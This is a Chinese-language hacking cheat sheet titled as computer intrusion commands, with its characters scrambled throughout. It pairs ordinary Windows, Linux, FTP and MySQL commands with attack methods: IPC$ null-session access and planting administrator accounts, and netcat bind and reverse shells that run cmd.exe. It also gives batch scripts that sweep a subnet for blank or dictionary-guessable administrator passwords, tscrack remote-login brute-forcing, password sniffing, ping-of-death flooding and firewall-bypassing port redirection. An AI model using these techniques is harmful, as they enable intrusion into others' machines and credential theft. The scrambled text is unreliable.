电脑入侵命令
dos命令侵入
en ust felie//:ipi/pc $"" us/re:"" 建IP立空链C
接
etn usefi el:/ip//pc$i" 密码"/ suer:"户名用 建立"PIC非链接 空
n
t use eh :ilef//i:/p$ c"密码"/ sure"用户:名 直"接陆后登映对射方C：到本为H地:
netuse :hf iel//:i/cp$登 后陆映射对C：到本地方H:
为ne tse uife:l//ipipc/$/de l除IPC链接删
en tseu h:/ del删 除射对方到本地的映H为:的映射
nt eseu r用户 密码 名add/ 建用户立
n
teu ersg ust /ecatievy:s 激活guese用t 户
entu ser查看 有哪用户 些
nt useer帐 名 户查看帐户属的性
ne
t ocalgrluop daminsirattos 用r户 /ad名d把 “用”添户到加理管中使员其具有理管员权限,注意：amidnstratio后rs加复用数
ne
sttatr 查看启了哪些开务服
net s
trta 服务名 开服启；务(:如ne tstar ttlnet， netestar t cshdelu)e
net st
po 服务名停止某 服务
net t
iem \\目标i 查p对方看间时
en ttie \m目\i标p /st 设e本地置算机计时与间“标I目”P机的时主同间,步加上数/y参se取消可确认信息
n
t eiev 查看本地w局域内网启了开哪些享共
ne
vtiew file:/ip/ /看对方局查域内网启了开些哪享共
en tcnfogi显示系统网 络置
设
en logtoff断开连接的 共享
n
tep uas 服务e名暂 停服某务
et nsnedi p "文本信息"向 对方信发息
ntev er局 域内正网在用的网使连接络型类和息信
n e shater查看 地开启本共的
享net
sarh epci$开启 pi$共c 享
etnsha rei cp $d/el删除 ipc$享
共
netsha e r$ cd/el 删C除：共 享
ne
utesr guest 2345 1用ugste户登陆用用后将码密为12改45
3
en patsswrod 密码更 系统登改密码 陆
ne
ttsa -a 查t开看了启些端口,哪用net常tsat -na
nestat tn- 看查口的网端连接络情，常用n况estatt a- n
etntats-v 查看正在行进的作工
ntesat -tp协 议名 例：ntseatt -p cq/ipt 查某协议看使用情况查看t（pci/p议使协情况）
n用tetast- s看正在查用使的有协所议使情用况
n
tbtat -sA p 对i方31到631其中一9个口开端的话，就可查了看方最近登对陆的户用名（0前的为3户用）-名注意参：-数要大写A
tra
crt -参数 ep(或计算机i) 名踪跟路由（数据）包参数，：“w数-字”用设于超时置隔。间
ping i
p(或名)域 向对方机主送默发认小为大32字的数节，据数参“：l-[空格数据]大小包”；-n“送发据数数次；“”-”t一直指png。 i
pin -g t- l65550 pi死亡之p ni(发送大g于64K文件并的直p一ni就g了死亡成之pnig
)
icpnfig (wionipfg) 用cw于idnwo NTsX及P(winowds9 958)看查地本pi地，i址pcnfigo用参可数“/la”l示全部显置配信 息
ltsi -tt 以行树表列示显程进为(系的附统工加具，默是没有认装的，安安在目录的Su装ppot/toorls文夹内件
)k
lli F- 程名进 -加F参数强后结制某束程进(系为统的加附具，默认工是没有装安的在，安目装录的Suporp/ttolo文s
件夹) 内
de lF-文 名件加 -F参后就可数除删读文件只/A,R、/AH/AS、/A、A别分表删除只示、读隐、系统、藏档存文，/A件R、-A/H、-A/S-、/A-表示删除A除只、隐藏、系读、存统以外的文档。例件“如EL/DAR*.*” 表示除当删前目录所有下读文件只，D“E/L-AS .*”表示删除*前目录下当系统文除以外的所有件文
件
#2
二
：
d
l /e /S 目Q录或用：rmd ir/s /Q 目 /S录除删录目及目录下的所子目有和文录件。时使同参数用Q 可取消/除删作时的系统确操认就直接删除。（二个令作命相同用 ）
move盘符\路径\ 移动要的件文名 存放移文件动路径\移的动后文件名 移动件文,参数/y用取将消确认动目移录在相存文件同提示的就直接覆 盖
fc
on e.xtt wottx.t >3 t.tsxt 对比二文件个把并不之处输出到同s3t.xtt件中文"，>" 和" >">是重定 向命 令
ta d号 i启开已注册的个计划某任务
at / eldee 停t所有计止划务任，用数参ye/则不s要确认就直接需止停
at i 号 dd/leeet停止 个已注册的计划任某务
at 查
所看有的划任务 计
at
ilf://eip t/mi e序名(或一个命令程 )r /在某时间运对行方程某序重并启动计算新
机f
niger seuranme h@ot 查s最近看哪有用些户陆 登
teln
t iep 口 远端和陆服登务器,默端口认2为 3
open ip 连接
到I（Pt属elent陆登后命令） 的
tel
ent在本机上直 键接t入enetl 进入将机本te的netl
cpyo路 \文件名径 路1\文件名径 2y /制复文1到件定的目录为文件2，用参数指/就y时取消确同你要认改一写份现目录存件 文
coy c:ps\r.vee filxe//ip:a/mdni$复制 地本c:srv.ex\到e方的对dami下n
pcyp st.1jp/gb+st2t.tx/a st.3jg 将p2ts.xt的内容藏t身到s1t.jgp中生3st成.pj新g文件的注，：st2.tt文件头x空要三排，数参：/b二指进制文件/，指ASCLL格式a件 文
cpo yfie://lpi/dami$/nsv.evx c:e \:或ocpy\\p\idainm$*.*\复 制对方amdini共享$的下rs.vex文件e所（文件）至有本地C：
x
cpo 要复制的y文件目录树 目标地或址目\录 名制复文和目录树件用参，/Y数不将提覆盖相示同文
件t
tfp-i 自I己(用肉P机跳作板这时肉用机P)Iget ser ver.xe ce:\ersve.exe r登后陆将，I“”Ps的evrre.eex载到下标目主c:机s\evrr.eeex 数：-参i指以二进制模式送传，如传送ee文x件时用，如加-i 则不ASC以II模式传送文本文件模（）进行式传 送
ftt pi- 对方P puItc :s\evrr.exe 登陆后，e上传本地:\cesrvr.exe至主e
机fp ipt端口 用上传于件文至务服器进行文或件作，操默认端为口1。b2i指用n二制进方传送（可式行执件文）进；默认AS为CII式传送格(文本件文)
时
roteu pirt n显示出IP路由，将要主示显络网址地Nteork awdders，网掩子Ne码tmsk，网a地址关Gaeway atddesr接，口地址Itneracf
e
ra 查p和看处AR理缓P存A，P是R字名解的意思，析负责把
一
个I解P成一析个物理性的MC地A址a。r pa-将示出全部信息
s显trta程序名 命或令/ ma 或/xinm新开 个一窗新并口大化（最小化）运最行某程序命或令
me
查看cmp使用u况情
attrib 件名文目(录名 )查某文看（目录件）属性
的
ttari 文件名 -A -b -S R- 或 H+A+R +S + 去掉H添()加某文的件 存，只读档，系统隐藏 属性；，用＋是添则加某属性
为ir 查d看件，文参：/数显示文件及目录Q系统哪个属用户，/:CT显文件示创建时，/间:A显示T件文次上被问访间，/T:W时次被上修改间 时
dtae/t 、 item t 使/用此参数“即DAE/TT”、T“ME/IT将只显示”前当期和时间日而不必，输入新日和时期 间
se t指环定变量境名称要指=给变量的字派符设 环置变量 境
s
te显 当示所有的前环变境量
s
et (p其或字它符) 示显当出以字符p前(其它字符)或头的开所环境变量有
pa
ues 停暂处理程序批并显示，出：请按意键任继续...
.
f i批处理程在序执中条行件处（更理说多见if明令命变量及）
g to o签 标将mc.exde导到向批处程序中带理签的标（标行签必单独须一行，且以冒打号头，如例：：“sattr”标签 ）
clla 径\路批处理文件名 从处理程序中批用另调个批处理一序程 更多（明见cal说l ?） /
f
o 对一组文件r的每中个一件执行文某个特定命（令多更说明for命见及变量令）
ehcoon o或f 打开f或关闭choe仅，e用ch不加o数则参显示前当cheo设 置
ehc 信息 o屏幕在显上示出信 息
ec
oh信息 >> p ass.xt t将"息"信保到p存ass.ttx文件 中
fidntsr "Hello"a .tatx在 aatxt文.件中找寻字符he串ll o
f
nd i文件名查找某文 件
itlt e题标名 字更改CMD口窗题标名
字colo
r颜 色 值设c置dm制台控景和背前景颜；色＝黑01、蓝＝2、绿、＝＝浅绿3、＝红、4＝紫5、＝6、7黄=白8、灰、==淡蓝9A＝、淡、B=淡浅绿绿、C=红、D淡淡紫=E=淡黄、F、=亮 白
prmotp 称名更 cm改d.ex的显e示的令提示命(把C:符、\D\统一:为改EntS：k\y)
#
三：3
ver
DO在S窗口下显示版信息本
w
nver i弹出个窗口一显示版信息本（存内大小系统版本、补、版本丁、计机算）名
fromta盘符 F/:类型 S式格磁盘化,型类FA:T、FT32A、TFNS ,例F：omra t: DF/:STNFS
m
目d名录 创建目录
erlpae 源文c件要 换替件的文目录替 换文件
re 原文n名件 文新名 件命重名件名 文
rtee以 形结树构示显目出，录用数参-f将列出第个文 件中夹件文称名
type
文件名 显示 文文件的内本
mor容e文 名件 逐屏示输出显文件
d
okey s要锁定的令＝命字符
dosk
y 要e锁命解令 =为ODS提供的锁定令(命编辑令行，命新重用调wi2nk令命，并创宏)建。：锁如定dir令命d：osky eidre=nskyt (能用d不soek yid=dirr)；解锁：oskedydi r=
takmgsr 调任出管务理
器hc
kds kF D:/检 磁盘D并显查示状态报；加参数告/f并修复磁上盘错误 的
t
ltandn temnt服务lamnd,入tln键tdmn选择a3，选择再8,可就以更改elten服务t默认端23口为其它何端口 任
eit 退x出cmdex.程e序目或，用参前数B则是/出当前批退处脚理本不而c是d.exm
eath 路p\可执径文行的文件名 为件可执文件行设置一个路径 。
c
dm启 一动w个inK命2解令窗释。口参数/：eff、/e n闭、关启命开令展扩更；详我细明见说cm d?
/rgedet i/s 册表注件文名导 入册表注；参/数指安S静式模导，入无任何示； 提
egrdet /ei注册 文件表名导 出注表
册ccls 文件a名参数 显示 修改文件或问控制访列表ACL）—（—针对NFT格S时。参数：式/D用户 :名设拒定绝用户某访；/P问 用名户p:em 替r指换定户的访用权问；限G/ 用名户p:erm 赋予指用户定问访权；Pe限mr 以是: 可N无， R 读取 W 写入， ，C 改更写入(，F 完全控)制例：cac；lsD: test\.xtt/D ubp设 定:dte\t.sxtt拒绝upb户用问。
c访alc s文件名 查看件的访文问户权限用表 列
RE
文M内容 本批处理在件中文添加解
注
ntse 查看h更改本或网络地置配况情
#4四 ：
I
I服务命令S ：
i
isrees /rteoobt 重win2k计算启机（有提但示统系将重启息信出现）
iisesret/ tsarts或top启动（ 止）所有Inter停etn服务
iisreet sr/seatt 停止r后重新然启动所I有netnrt服务 e
ii
rseets /tstua s显示有In所ertne服t状务态
i iresets /eanlb或edsabile 在本系统地上启用（用）I禁nernett务的服重新动
启ii
srset /rebeotoonreor 当启r、动止或停新重动启nIerten服务t，时若发生误将重新开机
ii错reset /snforce 若o法停止无nIterent服，将务不强制会止终Inetnrt服e务
ii
reses tti/eomut Vl在到达a逾间时秒（），仍未时止停Itnener服t务若指定/r，ebotonerorro参数则，电将脑重会开新。机设值为重预新动20秒，停启止60，秒新重机开0。
秒FTP 命令：
(后 有面细说详明内容 )
ft的p令命行式为格
f:t pv －－ d－ －in－g[主 机名 ]－ v示远程显服器的务有响所信应。息
－d使 调试用式。方
－
限n制tfp的动登自,录即使不用.netc文r。
件－g
消全取文件局。 名
elh [命令p] 或？ 命[]令 查命令说明 看
bye 或 uiqt终 止机主FTP进,并退程出FPT理管方式
p.dw 出当前列端主机远录 目
pt u s或en 本d地件名文 上传到主[上机文件的]名 本将一个文件地传至远端主机中送
g
te 或 rce v[程远机文件名主][ 载下本地到后的文名件] 从远主机端传送至中地主机本
中meg [rtmeoe-ftles] i远从端主机接收一批件至文地主本机
mput
lo cla-ilefs 本将主机地中一文件批送至远端传机主
dr 或il s[ reomt-edriceorty ][lcoalfil-] 列e出前当远主机目端中的文录.如果件有地文件本就,将果结至写地本件文
acsii
设定以ACII方式S传送件文缺(省值
b)i n或i mgea设 以定进二制式方传文件送
elbl每 完成次一文件送传,警报提 示
cdp 返u回一上级目
录
lcose中断 远程服与器务ft的会p话与op(e对应)n
oep nhos[ptor]t建立指定f t服p务连器接可,指连接端定
口d
eltee删 远除端主机中的文
件
demlte [reemte-oiflse ]除一删批件文
m kdirdir ecorytnam-e 在远端主机建立目中 录
re
anm [erfo] m[to] 变改端主机远的中文件名
rm dr diiecrotry-naem删除远端主机 中目录的
statu
显s当前FT示P状的态
sys etm显 示端远主系统类型机
user us
r-naeem[p asswor] d[accuno] 重t以别新用户的名录登端主机远
poenh ost[por t] 重建立一个新新的连
p接orpmt交 提示互模 式
m
cadfe定 义宏令命
cld 改当前本变主地机的工目作,录果缺如,就省转当前用到户HOM的目E
录
chmd 改o变远主端机文件权的
c限se 当a为N时O用,GMET命令贝的文件名到本地机拷器,中全部换转为小写字母
cd erote－dimr进 远程主入机录
目
cdu p进入远主机目录的程父目录
!
本在地机中执交行互shelle，ixt回ftp到境,环如l!s＊.zip
#5 五：
M
SYL 命令Q
my：sql h-机主地址 u-用名户－ p密码连接M SYQ;L如刚安果装好YMQL，超级S户r用oto是有密码没的
。（：m例yql -s1h0111.0.110.110 -rooU tP-13456 2
:u注与oort以不可用空格加其它也，样）一
xet 退出MYiQS L
m
syqalmdn i-u用名户 p-旧码密p aswsodr 新码密 改密修
码
ganr seltct eon数据 库* to .户名用登@录机 主idnteiiedf b \y密"\"码; 增加新户用。（注意：上和面同不，面下的因为MY是QS环L中境命令的所，后以面带一个都号分作为命令结束符）
sho dwatbaase; 显示s据库列表。刚数开时始才个数据库两：msyql和etst。myql库s重要很它里有面YMSQ的L系统息，信我改们密码新和增户用，际实上就是用个这进库行作操。
us eysqlm
；
shwo tbleas 显;示中库数的表 据
d
esrcbei表 ;名 示数显表据结的构
ceare dtatbasa e名; 库建 库
use 库名
；
crate tealbe 表名( 字段定列表)设 ；表 建
drop
da atbase库 ;名
d
ro table p名； 删表库和删表
d
elet ferom 名; 将表中记表录空清
se lct e*fr m o名; 显示表表的记中录
msyqdlup m-opt s-coolh>scoho.bblb备 份据数库（命令在DO：S的ile:f/m/sqy//biln录目下执行）;注释将数:据schoo库备l份s到choo.lbb文件b，shcolo.bbb一是文本个文，文件件名取任打开看看你会，新发现有 。
iw20n30统下系新增命令实（用部份）：
s
uhtdwon 参数/ 闭关或启重本地远程或主机
。
参数说明：/S 关主闭机/， R启主重，机 T /数字设定 时的时延间范围0，～10秒8间，之 A/取开机，/M消/ /IP指定的 远程主。
机
例：hustdwno / rt 0 立/重即本启主地机无延（）时
t asklil /数 参进名程或进的程pd i终一个或多个
止任务和程进。
参
说明数/：PD I终要进止的p程di可,用tsalist命k令获得各进程pi的，d/M I终止的进要程进程的名，F /制强终止进，程/ 终止T指的定进及他所启程动的子程进。
tasliks 显示当t前行运本地在和程远机上主进程的、务服、务各服程进进的标程识(符PID。)
数参明：/M说列 出当前进加载的程dll件，/S文CV 显出示每个进对应程的务服，无数参时就列只当前出的进程
。
#
6 六
：
Liun系x统基下本令命 ：要区分大小写
unam
e显示版 信本息（wi同2nK 的ve） r
id r显当示前目文录件l, sal-显示包括隐藏 文（件win同2K的dir ）
wd 查p询前所在当目录位的置
cd d .c回.上一层到目录，意c注d 与..间之有空。格d c/返到根目回录。
c
a 文件t名 看文查内件容
at >cbc.axtt往a c.bxtt件中文上写容内
mor。 e文件名以一 一页的页式显方一示文个文件本。
p 复c制件文
m
移v动文
件rm
文件 删除文名件，mr- 目录名a删目除录子目录
及mdir k目名录建 立录
目r
mdr i除子删录目，目内没录有文档
。
chodm 设档案或定目录存取权限 的
rgp 在档案中e找字符查
串idf f档案文件较比
ifd 档案搜寻n
da
t 现在的e期日时间
w、ho查询目前和你 使同一台用器机人的及L以goin间地时点
w
询目查前上机的者详细料 资
hwoma 查看i自己的帐号称名
gouprs查 某看的人roGp
pussadw 更密改 码
ihsotr 查y自己下过看命的 令
ps
显示 进程态状
ilkl 停止进程 某
gc 黑c客通常它用编来C语言译的写文 件
s
u 权转换为限定指用使者
t
elentIP telne t接连对主机方同w（niK2），当出ba现h$时就s明说连成功接
。tpfftp连接上某服 务器（同inwK）2
：附处理批命与变令
量：1fro令及命变量 本基格： 式
F
OR/ 参数%var ablie IN( et) sDOco mmadn co[mmnd_aparaetmer] s%vairale:指b一个单一定字母可换替参的数，如：i %而，定指个变量一则用%%： i而，用变调量时用：%%i， 变是量区分大小写（的i% 不等 于%）I
。批
处每理次能理处变量的从%—0%共109，个其中0默%给认处批文件理使名，%用1默为认用此批使处理输时的入第的个一，值理同%：2%—9指入输第的2-个值；例9：entu s file:/eip/ip/c $asps/ ues:usre 中rpi为%1pa,s为%s2,u esr为3
%
s(te):指定一或个一组文，可件使用通符配如：(，:\uDes.txt)r(和 1 215)(14 -12 45,{)“(1 1 245”)第一个1"指"起值，第始二"个"1指增长，第三量个"254"指束结，值：从1即2到54“；1(-1 25 )”说4明即：从254到1
}
omcamnd：指定第对个文件执的行命，令：如nte ue命令s；要如行执多命个令时命令这间加，&：来 开
c隔mmaondp_araetemsr为特：定令命指参定或数令行开关命
N Is(e)：t在指(set中)值；DO c取moamnd ：指行执commadn
参：/L数 指增
用
量形式 ({ste为增)形量时 }；/F式 从文件中指不取断值，到直完取止为{(s et)文为件，时(如d\pa:s.txst) 时。 }
用法
例举：
@e
co offh
ech o用法 格：式est.batt* *..*> tes .ttx
tfo
r L/ %G %i n(1 1 254 d)oecho %1. %G%> >estttx. t& ne tuse fle:i//%1%%.G//user: amdiistnartor f|nid "命令成功完成 ">>est.txtt
存为t setb.ta说 ：对明指的定一个C类段网的52个4IP依试建立次amdnistiarto密码r为的空IP$连接，C如成果就把功该IP在t存st.txe中t。
L/指增量形式（即从1-2用5或245-41）；入的输P前面I位：*三*..为批处*理认默的 %；1%G% 变为(量i的p最后一位；&）用来隔开e ch on和te us e这二命令；|个指 立了建pic$后在结，果用fin中查看是否d"命令成功完成有信"；%1.息%G 为%完的整PI址地；( 1 2541) 起指始值，增长量结，止值 。
@echo off
ceho 法格用式ok.ba：ti p
F
RO/F % % iNI( :\uDser.ic) DO sdbm.ex e1%% %iD: \psa.disc2 0
0为：o存k.xe 说明e：入输一个I后，用字P典件文:\dpas.dsi来c解d:\u暴se.rdci中用户的密，直到码件中文取值完止为。%i%用为名户%1为输；入的P地址I（默认）。
7 七#
：
2：i
f令命变量及基 格式本：
IF [ no]ter orlevrel 字 命令数句 如果程语运行序后最返回个一等或大于指于数定字的退出码，指编条件为定“真。”
例
：F eIrrorelvel 0命 指程令执序后行回的返值为时0就，行值面后命的令；I notF erorlreevl 1 命令指程执序行最后回的值返不等1于就，执行后面的令。命
0 发指并成功执现行真（）1 ；没有发指、现没执行假）（。
FI[ nt]o 符字串1=字=符2 串令命句语如 指定果的文本字符串匹配（：字即符串 1于 等符字2），串执行后面就命令。的
：“if例 "%2"=%"4" g=too tarts指：如果”输的入二个第变量4时为，行执后面命令的注（：意用调量变就时%量变%并名加" ）"
IF[ otn]exis 文件名t命 语句令 果如定指的件文名存在，就执后行面命的。
例：“if n令o tc.nxe geoto ed”指：n果没如发有现ncexe文件.跳就到":nde"签处标。
F [nIot ]reorrleev 数l字 令语命 e句les 令命句或语 I F[nto ]符字串=1=字串符2命令 句语e lse命 令语或句IF [n to]e istx文件名 命令语句 esl e令命语 加上：el句es 令命语句后指当：前的条件面成不时立就，行else后指的面令。命注意el：e 必s与须if 在 同行才一有效 当。有ed命l时令把d需el令全命部内用容 起括，因为来dl命e令要单一行时独才执行，用能等于是就独一行了；单例：如if “exsti test.xt.t
-
lees eco thse.ttx.tmissnig ”注意，令命中“的”.
（二）统系部命令(均需下外载相关具工：)
、瑞士1刀军：cne.xe
参数
说明 ：
-
h查 帮看助信 息
-d
后模式
台e pro-g序重程向，一但连接定执就［危险］ 行
-is ce
s延时的隔间
-
l监听模式， 于用入连接
站-L
监模式听连接，闭天仍然继后监续，听直CT到RC+
n-IP 地址不，用域名能
-o
iflm记1录6制进的传
-p输空格[端口]本 地口端号
-r 随机 地本远及程口 端
-t
使 T用enetl互方式交
-uU DP式 模
-v详细 出，输用-v将更v详
细w-字数 tmeouit延间隔
时- 将输z入，出关掉（输于扫锚时）
基用本法：
用n
-cnvv19 .1682..01 0 8连到192接.681..10主机8的端口
0
nc-l -p 80 开本机的T启CP 8端0并监口 听
cn-nv vw-2 z- 19.1286.01 .08-0142扫 19锚.268.011的80.-021端4 口
nc -
-pl 5543 t- e c:w-intsnytems32cm.edxe 绑re定ome主t的cm机shdlelremote的T在PC 3554口端
cn t -- cew:inntssyte32cmd.mxe e9211.6.0.8 53245 梆定rmeteo主的c机mdhels并反向连接l9121.6.8.205354的口 端
高用法：
级
n cL -p-80 作 为蜜用罐：开启1不停并地听8监0端口，到CTR+直为C止
nc -L- p 80> :\clogtxt. 为蜜罐作2：用启开不停并监地8听0端口直，到TCRC+,时把结同果输出c到\l:o.tgtx
n
c-L p 8- 0 c:\
ypteex.e :c\hoenyopt |r n -L cp -8 作为蜜罐用032：开启-不并地停监80听口端，直CT到R+C并,把:\choneyprto.xt中t内送入容管道中,可亦到传起送件文用作
机上本用：cn-l - p 本端口 机
在
对主机上用方n：c- e mdce.x 本e机P -pI本 端机口* in2wK
nc - /bin/ehs本 I机P - p机端口本* liux,unixn 反连向突接破对方机的主火防 墙
本机上用：
n -c dl--p 机端本口 要
在方对机主上用：nc -vv 机I本P本 机口端 >放文存的路径及件名称 传送件到文方对主机
备 ：注
| 管道命令
重定向 令命“
表示执＠行＠后的面命，但不令会显示出（后来执行台；）：＠dir c例\wi:ntn>> d: \logtxt.意 是：思台后行di执，r并把结存果在:dlo\gt.t中x
与>>的区别> >""指：覆盖；>>""：保指存(添到加到。）
如@d：ir c\w:nint> d:>lo\gt.tx和d@i cr:\inwt >nd: l\g.otx二t个命分令别执二行次比看：用较>的则>把二次的结是都保存果，了用：>而则有一只次结的，果因是第为二次结果的第把次一的覆盖。了
# 八8
：
2
、锚工扫：xs具ca.nee
x
基本格式
scxa nh-ot s] 终 目[他其项选] 扫锚"始起I到P止I终"段P的有所机信主
息
scxa -fniel [他其项选 扫]锚"主I机P表列文名件中的"所主有机息 信
检测项目
-ac ivte检测 主机是否活
存-o
s检测远操程系统作类（型通过NEBTOI和SNSPM议协）
p-otr 检测用服常务的口状端态
-
ft p测检FTP口弱令
-
pbu 检测FT服务P
匿名用写户权 限
po-3 p检测PO3-PSrvee弱r口 令
-mspt检 测MSP-TSrvere洞漏
-sql 检SQ测-LSever弱口令
-srmb检测N -STreer弱口令v
-
ii 检s测II编S码/解漏码
洞-cgi
测检GIC漏 洞
-na
sl 载加Nseus攻s击脚
本-lla检 测以所有项目 上
其它选
项
-i
适配 编器 号设置网适络配器, 适配器可号通过-""参数获l
取l-显示 所有网络适配器
- v显示详扫细描进 度
-
p过跳没响应有主的
机
o -过跳有检测没开放到口端的主机
-t 并线发程量数并发主机数,量 指定最并大发线数量程和发主并机数量 默,数量为1认00,1
-l0o 文件g 名定指扫报描告文件 名后(为：缀XT或THTM格式的文L件 )
法用示
例xcasn-h so 192.t16.181.-19.2186.25.255 -a5ll a-tcvie- 检测19p2.681.11.-129.61.28552.5网5段内机主的有漏所，洞跳过响无的主机 应
x
scna-h sot192 16..1.81-912.186.2552.5 -5prot -ms -b 1t50 o -检测129.6181..-192.118.655.255网2内主段机的准标端口状态NT，口弱用令，户最大发线并程量为15数，跳过没0有测检到开端放的主机口
xs
cna fi-e lohtslis.ttt x-por -tgi c- t20,05 -v-o 检“测oshtlst.txt”文件中列出i所的主机的标有准端状态口C，IG漏，最洞并发线程大量数2为0，0一时刻最同检多5台主测机显，示详细检进度，测跳没有检测过到放开端口的机
主
#9 九：
3、命
令行方嗅式器探:xsniff exe
可捕.获域局内网FP/TMST/PPP3OH/TT协议P码密
参数说 明
tc- p输出TC数P报
据-
dpu 输U出D数据报P
-icm
输p出IMPC数报 据
-apss 滤密过码息 信
h-ie d后台行运
-h os 解t析机主 名
-
ddarI P址 地滤过I地P址
p-rot端 口 滤过端口
-log
件文 名输将出保到文件
存
-sca以A SCI形式输出I
-ehx 以1进6形制输式 出
法用例
示xs
ifn.fxee pa-ss -ihed -lg opas.sog l台后行运探密嗅并码将码密信息保存在pssal.o文件中g
x
nifsfe.x -tepc- du pas-c-add r 12.169.81.1 嗅1探9.218.1.6并过滤1tpc和du信息p并ASC以I格式I出输
4、
端服务终码破解密 ts:crak.cxee
数说明
-h 显示使用帮参助
-v 示显版信本息
-
s 在屏幕打出解上密能 力
b-密码 错误时发出声音 的
-
同t发是出个连接多多线程）（
-
NPrevetnSy semtL o egtrneis o ntaregedt srvere
U -卸载移t除csrca组件
k
-f使用 －f面后的密码
-F间 隔间（频时） 率
-l 用－l后面使的户名 用
-w
使 用－w面的密码字典
后-p
用使p－面的密后 码
-D登录主 面页
法示例
用strcack192 .16.08. -l 1damiisntraor -w pass.ticd远 程密码用字典文暴破件机的主admnisiratotr的陆密登码
tscark c912.1680..1 - adlmniitrsaort-p 21354 用密6码134256程远陆192登16.8..0的1daimnsiratto用户 r
@fi otne xist piccsn.taxtgot o nsocna
@
or /f f"tkones1 de=lmis=" %%i i n (338.9xt) do callt achkba. t%i%
nscan
ech@ 338o9t.xt o nifd on rsca fanld i
(①存
338为.b9a)t
（假设现用S有peuScan或r其它锚器扫到一扫开有批3398主的机I列P表件文3839.xt)t
339.b8t意思是：a从3398txt.件文取一中个P，接着运Ih行ck.bata
if@ on etxit stcsack.exer oto gnscao n
@t
cracs %k1 l -aministrdaort -wpas sdic.>>rouji.tx t
:
osnan c
echo@ strcckae.x no fein odr casnfail d
(②存
为ack.hat) (运b338行.9at就OK，且b3839.ba、hatkc.bt、a3839t.t、paxs.disct与sracc.exe在k一同个目录下就；以可等待结果)了
h
akcb.t意思是a：运行tcrascke.e用x典字破3389.txt中暴有所机主a的mdnisirttao密r码并将，破结解果保存rouj在i.tt文x件中。
5、其它
：
huStdonw.eex
S htdouw nfle:i/IP//地 址t20:2 0后秒对方N将自T关动闭Wi（dnwos 203系0自带工统具，W在ndiwos020下0进用就下得此载具才能用。在工面Windo前s w023 0DOS令中有命详介绍。）
细
fppie.eex( CPT端口重定工向具 )在二篇中第详细说有明（端口定向重绕过防火墙 ）
fipe pl- 8 -0s 120 -r 980 htt:p//ww.swinac.mo.cn 当有人/扫你的锚8端口时，他0扫到的结果会完是全htt:p//ww.sinwa.omccn.的/主信机 息
Fpip
e-l 23- s8 8- r 3 2标IP 目把本向目机标P发送的23端IT口eletn求请端口重定向后，就通过8经端口发送8目到标P的I2端3。（与目口I标P立建eTnlte本机时用就的8端8口与相连其）然后：接直Te接let 1n270...10（本IP机就）连到目接标I的2P端3口。
了OepnTlnet.eexe(远 程开te启nelt工)具
poentenlteexe.file ://P/I 号帐 码 n密lt认证方m 式eTnlt端口 e（不需上要nt传lm.xe破坏e微的身软份证验式）方接直远程开启方的t对lnee服务t，后就可tel用ntef lie//ip: 连接上对方。/
N
TML证方认式０：：使用不NTM身L验份证；：先１试尝TNL身M份验证，如果失败再使，用户用和名码；２：密只使用TLM身N验份。
证
esumeTRenetl.ex (OepeTennlte附带的一个另具工)
re
suetemlet.ene filex:/IP//帐 密码 用号Tleetn接完对方后，就连用这个命将令方的Teln对t设e置还，原同时并关闭Tenetl服务
。#10
十 ：
6、
FP命令详T：解
FT命令PI是tennrte用户使用频最的繁令之命，一熟并悉灵应活用FTP内的部命令，以可大大方使用者，便并到收事半功之倍。效果你想如学习用使行后进FT台下P载那么就必，学须习TP指F。令
FT
的命P令行式格为：
ftp v- d- i -n--g [主机名]， 中其
-v
显示远 程务器服的所响应信有息
；
n 限-f制pt自动登录，的不即使用；n. etrc文；
件
d- 使用调方试；式
-
g 取全消局件名文。
F
T使P用的部命令如下内中括(表号示选可项):
1!.[mdca[gs]r：]在本地中执机行交互shell，eit回x到fpt境环如：!，ls.*izp
.2 $mcaro-ae[mrags： 执行宏]定义amco-ramne
。
.acc3unt[pasoswrod] ：提供录远登系统成功后程访问统资系所需源补的充口令。
4ap.pne dolacl-fie[lrmoee-filte：]本地文
将
件追加远到程统主系，若未机指定远系程统件名，文则使本用文地件名。
5.asci
：i用a使sci类型i传输方式
。
.6ble：l每个令执行命毕完计算后响铃一次。机
7.bin：
使用进制二件传文方式输
。8
by.e退：出tp会话f程。
过
.9caes在使：mge用t，将时程主远文件名中机的大转写为小写母。字
10
c.d emote-dri：进r入远程主目录。
机11
.cdup进：入程主机目远录的父录目。
21ch.mod ome fild-neame：将远主机程文f件le-inam的存e方式取设为mo置ed，如ch：mo 777 adout。
.
1
.3cose：l中断远程服务与器ftp会的话与op(ne应)对。
1
.4c：使r用asscii方传式文输时件将回，车换转换为回行。行
15del.eetrem toe-ile：f删除程主远机文件 。
1.6dbue[gedug-bavuel：设]调试置方， 式显示发至送远程机的每主条命令如，：ed bup3 ，若设为，0表取消d示beu。
g1
.d7r[iermteodir-[l]coa-life]l显示远程主机目：，并录将结存果入本文件地。
8.1dsconneitcin：同oclseo。
1
9.fomrf omatr将文：件输传式方设为置ormat，f省为fi缺l方式e。
2.0et rgmeoet-ilefloca[-lfiel：] 远将程主的文机remo件et-ife传l至本地硬盘的loca-file。
l
2
.1gol：b置设demleet，gmetmp，u的t件文名展，缺扩时不省扩展件名文同命，行令-的g数。参
2 2h.ahs：每输1传204节，显示一个h字sah号(#)符
。3.he2l[pmdc]显示ftp：内部命令md的c帮信助息，：如ehl peg。
24tidle.s[coned]：s将程服远务的器休眠计时设器[为esconds秒]。
2
.i5mage：设置二进传输制方式同(bniray。)
2.l6c[ddi]r将：本地作工目录切至换di。
r
2.7l[sermotedir]-loca[l-ile]f：显示程远录rem目teo-dr， i并入本存文件地lcao-file。
l28
.acmedf acro-nmae：m义一个定，遇宏到mcdef下a的行时空宏，定结义。
束
29.mdleeet[emorte-ifel：]删除远主机程件文
。30
.mdir rmeoetfi-le slocl-fale：id与ri似，类可但定指多个远文程件如 ：m，di *ro...*izopuftle 。
i
13.mget rmote-eifes：传l输个远程文件。
多2.m3kidrd i-namr：e在远主程中机一建目。
录3.m3l srmote-eife locla-lfle：同inlits但可指定，个文多件名。
3
.4odm[medoeame]：n将件文输传方设式为m置deoamne，缺 省为srtae方式。
m
35
m.dtomi feie-lanme：显示远主机程文的最后修改件时。间
3.m6ut polacl-fie：l多将文个传件至输远主机。程
37.newe rilfena-em：如果 程远中fi机len-ame修的时间改本比地硬盘同名件文时间更近，的重则该传件文
。3
8.nlitsre[ote-mdr][ilcao-lfli]：显e示远程机主目录的件文单，并存清入地硬盘的本oclalf-ile。
